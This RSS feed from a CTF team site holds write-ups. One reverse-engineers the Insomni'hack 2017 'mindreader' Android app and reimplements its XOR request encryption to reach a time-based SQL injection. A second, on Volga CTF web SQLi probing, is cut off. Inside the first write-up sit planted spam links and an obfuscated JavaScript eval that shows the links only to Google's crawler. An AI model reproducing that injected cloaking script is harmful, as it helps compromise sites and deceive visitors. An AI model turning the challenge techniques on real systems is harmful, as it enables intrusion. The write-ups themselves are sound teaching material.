rss.xml

<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xml:base="https://ctfcrew.org"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
 <title>BalalaikaCr3w</title>
 <link>https://ctfcrew.org</link>
 <description></description>
 <language>en</language>
<item>
 <title>Isomni&#039;hack 2017 teaser mindreader writeup</title>
 <link>https://ctfcrew.org/writeup/104</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/mobile&quot;&gt;mobile&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;a href=&quot;/categories/web&quot;&gt;web&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/38&quot;&gt;Isomni&amp;#039;hack teaser 2017&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Machines infected lots of Android smartphones and try to collect information on human behaviour... Have a look to their application and try to steal information on them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So we have an android application file. Let&#039;s decompile its code!&lt;/p&gt;
&lt;p&gt;First, we need to translate Dalvik bytecode to equivalent Java bytecode. I used &lt;a href=&quot;https://github.com/google/enjarify&quot;&gt;enjarify&lt;/a&gt; for this:&lt;/p&gt;
&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
➜ git clone https://github.com/google/enjarify
➜ cd enjarify
➜ ./enjarify.sh ../mindreader-c3df7f2c966238cc8f4d4327dc1dca8b8b5a69d702f966963c828c965ebbf516.apk -o ../app.jar&lt;/pre&gt;
&lt;p&gt;And now we can decompile java bytecode by using &lt;a href=&quot;http://jd.benow.ca&quot;&gt;jd-gui&lt;/a&gt;. Let&#039;s see what we have.&lt;/p&gt;
&lt;p&gt;The first intresting function is&amp;nbsp;&lt;em&gt;readMind&lt;/em&gt;:&lt;/p&gt;
&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
static String device = &quot;000000000000000&quot;;
...
public String readMind()
{
    localObject1 = device;
    String str1 = jsonify((String)localObject1); // encode to json {&quot;device&quot;: &quot;...&quot;}
    byte[] arrayOfByte1 = str1.getBytes();
    byte[] arrayOfByte2 = new byte[arrayOfByte1.length];
    localObject1 = getApplicationContext();
    encrypt((Context)localObject1, arrayOfByte1, arrayOfByte2);
    int i = 0;
    localObject1 = null;
    String str2 = Base64.encodeToString(arrayOfByte2, 0);
    ... // Send HTTP-request with str2 as parameter to server
}
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Here we can see that string with json &lt;em&gt;{&quot;device&quot;: &quot;000000000000000&quot;}&lt;/em&gt; is encrypted, encoded to base64 and then sent to the server. And function &lt;em&gt;encrypt&lt;/em&gt; looks like this:&lt;/p&gt;
&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
public native int encrypt(Context paramContext, byte[] paramArrayOfByte1, byte[] paramArrayOfByte2);&lt;/pre&gt;
&lt;p&gt;And above this we have lines:&lt;/p&gt;
&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
static
{
    System.loadLibrary(&quot;native-lib&quot;);
}
&lt;/pre&gt;
&lt;p&gt;As we can see &lt;em&gt;encrypt&lt;/em&gt;&amp;nbsp;function is implemented in library &lt;em&gt;libnative-lib.so&lt;/em&gt;. Let&#039;s find it.&lt;/p&gt;
&lt;p&gt;First, we should extract application files. I used&amp;nbsp;&lt;a href=&quot;https://ibotpeaches.github.io/Apktool&quot;&gt;apktool&lt;/a&gt;&amp;nbsp;for this:&lt;/p&gt;
&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
➜ apktool d mindreader-c3df7f2c966238cc8f4d4327dc1dca8b8b5a69d702f966963c828c965ebbf516.apk
➜ cd mindreader-c3df7f2c966238cc8f4d4327dc1dca8b8b5a69d702f966963c828c965ebbf516/lib/armeabi
➜ file libnative-lib.so
libnative-lib.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, BuildID[sha1]=f092f48095eec3cb0c6dd8eddec9994c2b3e01b4, stripped
&lt;/pre&gt;
&lt;p&gt;Now we should find `encrypt` function in this library. As `encrypt` is called from java code it seems that it should use JNI (Java Native Interface). So, according to &lt;a href=&quot;https://docs.oracle.com/javase/1.5.0/docs/guide/jni/spec/design.html&quot;&gt;Oracle documentation&lt;/a&gt; name of &lt;em&gt;encrypt&lt;/em&gt;&amp;nbsp;function &amp;nbsp;in library will be like &lt;em&gt;Java_ch_scrt_hiddenservice_MainActivity_encrypt&lt;/em&gt;&amp;nbsp;(&lt;em&gt;ch.scrt.hiddenservice&lt;/em&gt;&amp;nbsp;- name of application package, &lt;em&gt;MainActivity&lt;/em&gt;&amp;nbsp;- name of class).&lt;/p&gt;
&lt;p&gt;In Ida Pro this function looks like this:&lt;/p&gt;
&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(int a1, int a2, int a3, int a4, int a5)
{
  int v5; // ST1C_4@1
  int v6; // r4@1
  int v7; // r6@1
  unsigned int v8; // r0@1
  char v9; // r5@3
  int v10; // r1@3
  int v12; // [sp+8h] [bp-34h]@1
  int v13; // [sp+10h] [bp-2Ch]@1
  int v14; // [sp+14h] [bp-28h]@1
  int v15; // [sp+18h] [bp-24h]@2
  int v16; // [sp+1Ch] [bp-20h]@1
  int v17; // [sp+20h] [bp-1Ch]@1
  char v18; // [sp+24h] [bp-18h]@1
  __int16 v19; // [sp+28h] [bp-14h]@1
  char v20; // [sp+2Ah] [bp-12h]@1
  char v21; // [sp+2Bh] [bp-11h]@1
  int v22; // [sp+2Ch] [bp-10h]@4

  v14 = a4;
  v5 = a3;
  v6 = a1;
  v13 = a1;
  v7 = 0;
  v18 = 0;
  v12 = (*(int (**)(void))(*(_DWORD *)a1 + 684))();
  v17 = (*(int (__fastcall **)(int, int, char *))(*(_DWORD *)v6 + 736))(v6, v14, &amp;amp;v18);
  v16 = (*(int (__fastcall **)(int))(*(_DWORD *)v6 + 736))(v6);
  sub_4A68();
  v8 = sub_4AC4(v6, v5);
  v19 = v8;
  v20 = v8 &amp;gt;&amp;gt; 16;
  v21 = HIBYTE(v8);
  if ( v12 &amp;gt; 0 )
  {
    v15 = dword_1D0F8;
    do
    {
      v9 = *(_BYTE *)(v17 + v7);
      j_j_j___aeabi_idivmod(v7, 80);
      *(_BYTE *)(v16 + v7) = *((_BYTE *)&amp;amp;v19 + v7 % 4) ^ *(_BYTE *)(v15 + v10) ^ v9;
      ++v7;
    }
    while ( v12 != v7 );
  }
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)v13 + 768))(v13, v14, v17, 0);
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)v13 + 768))(v13, a5, v16, 0);
  if ( _stack_chk_guard != v22 )
    j_j___stack_chk_fail();
  return 0;
}
&lt;/pre&gt;
&lt;p&gt;Also according to JNI Oracle documentation the first argument of this function is &lt;em&gt;JNIEnv* env&lt;/em&gt;&amp;nbsp;and the second is &lt;em&gt;jobject obj&lt;/em&gt;. The rest of arguments is arguments from java i.e. &lt;em&gt;Context paramContext, byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)&lt;/em&gt;. Now our function looks like this:&lt;/p&gt;
&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(int env, int obj, int paramContext, int paramArrayOfByte1, int paramArrayOfByte2)
{
  ...
   paramArrayOfByte1_1 = paramArrayOfByte1;
  paramContext_1 = paramContext;
  env_1 = env;
  env_2 = env;
  v7 = 0;
  v18 = 0;
  v12 = (*(int (**)(void))(*(_DWORD *)env + 684))();
  v17 = (*(int (__fastcall **)(int, int, char *))(*(_DWORD *)env_1 + 736))(env_1, paramArrayOfByte1_1, &amp;amp;v18);
  v16 = (*(int (__fastcall **)(int))(*(_DWORD *)env_1 + 736))(env_1);
  sub_4A68();
  v8 = sub_4AC4(env_1, paramContext_1);
  v19 = v8;
  v20 = v8 &amp;gt;&amp;gt; 16;
  v21 = HIBYTE(v8);
  if ( v12 &amp;gt; 0 )
  {
    v15 = dword_1D0F8;
    do
    {
      v9 = *(_BYTE *)(v17 + v7);
      j_j_j___aeabi_idivmod(v7, 80);
      *(_BYTE *)(v16 + v7) = *((_BYTE *)&amp;amp;v19 + v7 % 4) ^ *(_BYTE *)(v15 + v10) ^ v9;
      ++v7;
    }
    while ( v12 != v7 );
  }
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + 768))(env_2, paramArrayOfByte1_1, v17, 0);
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + 768))(env_2, paramArrayOfByte2, v16, 0);
  if ( _stack_chk_guard != v22 )
    j_j___stack_chk_fail();
  return 0;
}
&lt;/pre&gt;
&lt;p&gt;Better but still not readable because of many function calls like &lt;em&gt;(*(int (__fastcall **)(int, int, char *))(*(_DWORD *)env_1 + 736))&lt;/em&gt;&amp;nbsp; i.e. by offset in&amp;nbsp;&lt;em&gt;JNIEnv *env&lt;/em&gt;. We need to find function names by their offsets in &lt;em&gt;JNIEnv&lt;/em&gt;. All JNI functions are listed &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html&quot;&gt;here&lt;/a&gt;. But I found cool Ida script &lt;a href=&quot;https://github.com/trojancyborg/IDA_JNI_Rename&quot;&gt;IDA_JNI_Rename&lt;/a&gt;&amp;nbsp;on GitHub. After using it our function will look like this:&lt;/p&gt;
&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(int env, int obj, int paramContext, int paramArrayOfByte1, int paramArrayOfByte2)
{
  ...
  paramArrayOfByte1_1 = paramArrayOfByte1;
  paramContext_1 = paramContext;
  env_1 = env;
  env_2 = env;
  v7 = 0;
  v18 = 0;
  v12 = (*(int (**)(void))(*(_DWORD *)env + jni_GetArrayLength))();
  v17 = (*(int (__fastcall **)(int, int, char *))(*(_DWORD *)env_1 + jni_GetByteArrayElements))(
          env_1,
          paramArrayOfByte1_1,
          &amp;amp;v18);
  v16 = (*(int (__fastcall **)(int))(*(_DWORD *)env_1 + jni_GetByteArrayElements))(env_1);
  sub_4A68();
  v8 = sub_4AC4(env_1, paramContext_1);
  v19 = v8;
  v20 = v8 &amp;gt;&amp;gt; 16;
  v21 = HIBYTE(v8);
  if ( v12 &amp;gt; 0 )
  {
    v15 = dword_1D0F8;
    do
    {
      v9 = *(_BYTE *)(v17 + v7);
      j_j_j___aeabi_idivmod(v7, 80);
      *(_BYTE *)(v16 + v7) = *((_BYTE *)&amp;amp;v19 + v7 % 4) ^ *(_BYTE *)(v15 + v10) ^ v9;
      ++v7;
    }
    while ( v12 != v7 );
  }
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + jni_ReleaseByteArrayElements))(
    env_2,
    paramArrayOfByte1_1,
    v17,
    0);
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + jni_ReleaseByteArrayElements))(
    env_2,
    paramArrayOfByte2,
    v16,
    0);
  if ( _stack_chk_guard != v22 )
    j_j___stack_chk_fail();
  return 0;
}
&lt;/pre&gt;
&lt;p&gt;Now we can assume that &lt;em&gt;paramArrayOfByte1&lt;/em&gt;&amp;nbsp;is &lt;em&gt;plaintext&lt;/em&gt;&amp;nbsp;and &lt;em&gt;paramArrayOfByte2&lt;/em&gt;&amp;nbsp;is &lt;em&gt;ciphertext&lt;/em&gt;. Let&#039;s do some renames:&lt;/p&gt;
&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(int env, int obj, int paramContext, int plaintext, int ciphertext)
{
  ...
  paramArrayOfByte1_1 = plaintext;
  paramContext_1 = paramContext;
  env_1 = env;
  env_2 = env;
  i = 0;
  v18 = 0;
  plaintext_len = (*(int (**)(void))(*(_DWORD *)env + jni_GetArrayLength))();
  plaintext_bytes = (*(int (__fastcall **)(int, int, char *))(*(_DWORD *)env_1 + jni_GetByteArrayElements))(
                      env_1,
                      paramArrayOfByte1_1,
                      &amp;amp;v18);
  ciphertext_bytes = (*(int (__fastcall **)(int))(*(_DWORD *)env_1 + jni_GetByteArrayElements))(env_1);
  sub_4A68();
  some_int = sub_4AC4(env_1, paramContext_1);
  some_int_1 = some_int;
  v20 = some_int &amp;gt;&amp;gt; 16;
  v21 = HIBYTE(some_int);
  if ( plaintext_len &amp;gt; 0 )
  {
    v15 = dword_1D0F8;
    do
    {
      v9 = *(_BYTE *)(plaintext_bytes + i);
      j_j_j___aeabi_idivmod(i, 80);
      *(_BYTE *)(ciphertext_bytes + i) = *((_BYTE *)&amp;amp;some_int_1 + i % 4) ^ *(_BYTE *)(v15 + v10) ^ v9;
      ++i;
    }
    while ( plaintext_len != i );
  }
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + jni_ReleaseByteArrayElements))(
    env_2,
    paramArrayOfByte1_1,
    plaintext_bytes,
    0);
  (*(void (__fastcall **)(int, int, int, _DWORD))(*(_DWORD *)env_2 + jni_ReleaseByteArrayElements))(
    env_2,
    ciphertext,
    ciphertext_bytes,
    0);
  if ( _stack_chk_guard != v22 )
    j_j___stack_chk_fail(_stack_chk_guard - v22);
  return 0;
}
&lt;/pre&gt;
&lt;p&gt;So, the encryption algoritm is like this:&lt;/p&gt;
&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
int some_int = sub_4AC4(env_1, paramContext_1);
int dword_1D0F8[80] = ?;
for (i = 0; i &amp;lt; plaintext_len; i++) {
  ciphertext[i] = plaintext[i] ^ some_int[i % 4] ^ dword_1D0F8[i % 80];
}
&lt;/pre&gt;
&lt;p&gt;Cool, but we don&#039;t have &lt;em&gt;some_int&lt;/em&gt;&amp;nbsp;and &lt;em&gt;dword_1D0F8&lt;/em&gt;. At this point I decided that it would be easier to place a breakpoint here and just copy this values from memory because I&#039;m lazy :) . To do this I used android emulator &lt;em&gt;armeabi-v7a&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&amp;nbsp;Start emulator with the command:&lt;/p&gt;
&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
➜ emulator -avd Nexus_5_API_24
&lt;/pre&gt;
&lt;p&gt;Then install application by drag&#039;n&#039;drop apk-file to it.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; height=&quot;569&quot; src=&quot;/sites/default/files/writeups/images/emulator.png&quot; width=&quot;892&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After that I setup Ida Dalvik debugger as described &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_dalvik.pdf&quot;&gt;here&lt;/a&gt;&amp;nbsp;and place breakpoint on &lt;em&gt;encrypt&lt;/em&gt;&amp;nbsp;in &lt;em&gt;readMind&lt;/em&gt;&amp;nbsp;function:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; height=&quot;405&quot; src=&quot;/sites/default/files/writeups/images/dalvik_breakpoint.png&quot; width=&quot;1200&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then I opened another Ida instance with `libnative-lib.so`, setup remote android debugger as described &lt;a href=&quot;https://finn.svbtle.com/remotely-debugging-android-binaries-in-ida-pro&quot;&gt;here&lt;/a&gt;&amp;nbsp;and place breakpoint before encryption started:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; height=&quot;694&quot; src=&quot;/sites/default/files/writeups/images/arm_breakpoint.png&quot; width=&quot;990&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After that I ran Ida with Dalvik debugger and wait until program stopped and then I ran remote android debugger and attached to application process:&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;622&quot; src=&quot;/sites/default/files/writeups/images/attach.png&quot; width=&quot;581&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next I press continue in first Ida instance (Dalvik debugger) and wait until breakpoint fires in second instance.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; height=&quot;349&quot; src=&quot;/sites/default/files/writeups/images/break.png&quot; width=&quot;1200&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ok, let&#039;s just find values of &lt;em&gt;some_int&lt;/em&gt;&amp;nbsp;and dword_1D0F8.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;dword_1D0F8&lt;/em&gt;&amp;nbsp;(started from &lt;em&gt;7E 66 31 05&lt;/em&gt;):&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;192&quot; src=&quot;/sites/default/files/writeups/images/hex.png&quot; width=&quot;491&quot; /&gt;&lt;/p&gt;
&lt;p&gt;and &lt;em&gt;some_int = 0xb1342c3a&lt;/em&gt;:&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;197&quot; src=&quot;/sites/default/files/writeups/images/stack.png&quot; width=&quot;333&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ok, now we can rewrite encrypion in python:&lt;/p&gt;
&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
import json
import base64

table = [
    0x7e, 0x66, 0x31, 0x05, 0x11, 0x22, 0x2b, 0x1f,
    0x07, 0x74, 0x58, 0x19, 0x21, 0x16, 0x17, 0x05,
    0x56, 0x52, 0x09, 0x22, 0x7f, 0x61, 0x25, 0x1f,
    0x25, 0x13, 0x32, 0x33, 0x2a, 0x32, 0x32, 0x22,
    0x28, 0x51, 0x13, 0x27, 0x5b, 0x62, 0x26, 0x1e,
    0x20, 0x01, 0x0f, 0x09, 0x57, 0x1d, 0x14, 0x1e,
    0x39, 0x17, 0x1d, 0x19, 0x03, 0x50, 0x12, 0x12,
    0x02, 0x62, 0x1a, 0x7a, 0x0f, 0x4f, 0x26, 0x20,
    0x02, 0x32, 0x11, 0x11, 0x57, 0x3d, 0x2e, 0x33,
    0x0b, 0x14, 0x16, 0x0e, 0x1b, 0x60, 0x1c, 0x02,
]

crc = [ 0x3a, 0x2c, 0x34, 0xb1 ]

def encrypt(p):
    c = [0] * len(p)
    for i in range(len(p)):
        c[i] = chr(ord(p[i]) ^ crc[i % 4] ^ table[i % len(table)])
    return &quot;&quot;.join(c)

def encode(data):
    return base64.b64encode(encrypt(json.dumps(data)))
&lt;/pre&gt;
&lt;p&gt;To check it I&#039;ve intercept HTTP-request from emulator and get:&lt;/p&gt;
&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
GET /?a=1&amp;amp;c=P2hh0V1nfMsfYk6YKwoThFxODaN1fSGeLw8k%2Fw%3D%3D%0A HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; sdk_google_phone_armv7 Build/NYC)
Host: mindreader.teaser.insomnihack.ch
Connection: close
&lt;/pre&gt;
&lt;p&gt;So, we can check correctness of python script as:&lt;/p&gt;
&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
test_in = &#039;{&quot;device&quot;:&quot;000000000000000&quot;}&#039;
test_out = base64.b64decode(&quot;P2hh0V1nfMsfYk6YKwoThFxODaN1fSGeLw8k/w==&quot;)
assert(encrypt(test_in) == test_out)
&lt;/pre&gt;
&lt;p&gt;Script was correct and I decided to try all requests from application:&lt;/p&gt;
&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
URL = &quot;http://mindreader.teaser.insomnihack.ch&quot;

def read_mind(device_id):
    data = {
        &quot;device&quot;: device_id
    }
    params = {
        &quot;a&quot;: 1,
        &quot;c&quot;: encode(data)
    }
    r = requests.get(URL, params=params)
    return r

def sms_send(device_id, date, sender, body):
    data = {
        &quot;device&quot;: device_id,
        &quot;date&quot;: 0,
        &quot;sender&quot;: sender,
        &quot;body&quot;: body
    }
    params = {
        &quot;a&quot;: 2,
        &quot;c&quot;: encode(data)
    }
    r = requests.get(URL, params=params)
    return r
&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;sms_send&lt;/em&gt;&amp;nbsp;request I found in file &lt;em&gt;SMSReceiver.java&lt;/em&gt;&amp;nbsp;in JD-GUI.&lt;/p&gt;
&lt;p&gt;After playing a little bit with this two requests I found that parameter sender in &lt;em&gt;sms_send&lt;/em&gt;&amp;nbsp;is vulnerable to SQL injection (time-based). So after gettting all nessesary table names and column names I got a flag:&lt;/p&gt;
&lt;pre class=&quot;brush: bash; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;
➜ python solve.py
INS{N00bSmS_M1nD_r3ad1nG_TecH}
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;Full script solve.py (LINK!)&lt;/p&gt;
&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.juzsports.com/&quot;&gt;Nike shoes&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfejcashop/cheap-price/2021-new-adidas-yeezy-boost-350-v2-ash-stone-gw0089/&quot;&gt;2021 New adidas YEEZY BOOST 350 V2 &quot;Ash Stone&quot; GW0089 , Ietp&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-file field-type-file field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Attachments:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Binary Data&quot; title=&quot;application/octet-stream&quot; src=&quot;/modules/file/icons/application-octet-stream.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/mindreader-c3df7f2c966238cc8f4d4327dc1dca8b8b5a69d702f966963c828c965ebbf516.apk&quot; type=&quot;application/octet-stream; length=2457613&quot;&gt;mindreader-c3df7f2c966238cc8f4d4327dc1dca8b8b5a69d702f966963c828c965ebbf516.apk&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;span class=&quot;file&quot;&gt;&lt;img class=&quot;file-icon&quot; alt=&quot;Plain text icon&quot; title=&quot;text/plain&quot; src=&quot;/modules/file/icons/text-plain.png&quot; /&gt; &lt;a href=&quot;https://ctfcrew.org/sites/default/files/writeups/solve.py_0.txt&quot; type=&quot;text/plain; length=2961&quot;&gt;solve.py.txt&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 23 Jan 2017 13:46:15 +0000</pubDate>
 <dc:creator>russtone</dc:creator>
 <guid isPermaLink="false">104 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/104#comments</comments>
</item>
<item>
 <title>Web2 writeup</title>
 <link>https://ctfcrew.org/writeup/101</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/web&quot;&gt;web&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/34&quot;&gt;Volga CTF 2015 Quals&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;This is the Web2 problem&lt;/p&gt;&lt;p&gt;The challenge simply states &quot;Find the key!&quot; and it gives us the challenge URL.&lt;br&gt;The first thing I usually do with a web challenge is to run dirbuster, spider the target and check the it with Nmap.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Checking with Nmap didn&#039;t result in anything interesting. However dirbuster did. I found two interesting folders.&lt;br&gt;The first one is &quot;SecretAdminPanel&quot; and the second one was &quot;logs&quot;&lt;/p&gt;&lt;p&gt;I visited &quot;SecretAdminPanel&quot; and I saw this.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/Screen%20Shot%202015-05-05%20at%209.29.59%20PM.png&quot; alt=&quot;&quot; width=&quot;1200&quot; height=&quot;762&quot;&gt;&lt;/p&gt;&lt;p&gt;So our goal is basically try to access this &quot;SecretAdminPanel&quot;.&lt;br&gt;I then visited the &quot;logs&quot; folder, and I found that my IP got logged with the parameters I submitted to the page (so far no params).&amp;nbsp;&lt;br&gt;I visited the SecretAdminPanel again and submitted some data through the GET request&amp;nbsp;&lt;/p&gt;&lt;p&gt;web2.2015.volgactf.ru/SecretAdminPanel?test=test&lt;/p&gt;&lt;p&gt;I saw this message: &quot;Don&#039;t attempt to hack, all requests will be logged.&quot;&amp;nbsp;&lt;br&gt;Well this, in CTFs, This message simply means: HACK from here.&lt;/p&gt;&lt;p&gt;At the beginning I though that we will have SQLi in the INSERT statement in our request. I thought it will SQLi in the IP by injecting in the X-Forwarded-For or Client-IP request Headrs.&lt;br&gt;I tried SQLi there but didn&#039;t get any result.&amp;nbsp;&lt;br&gt;&lt;br&gt;Then probably in the 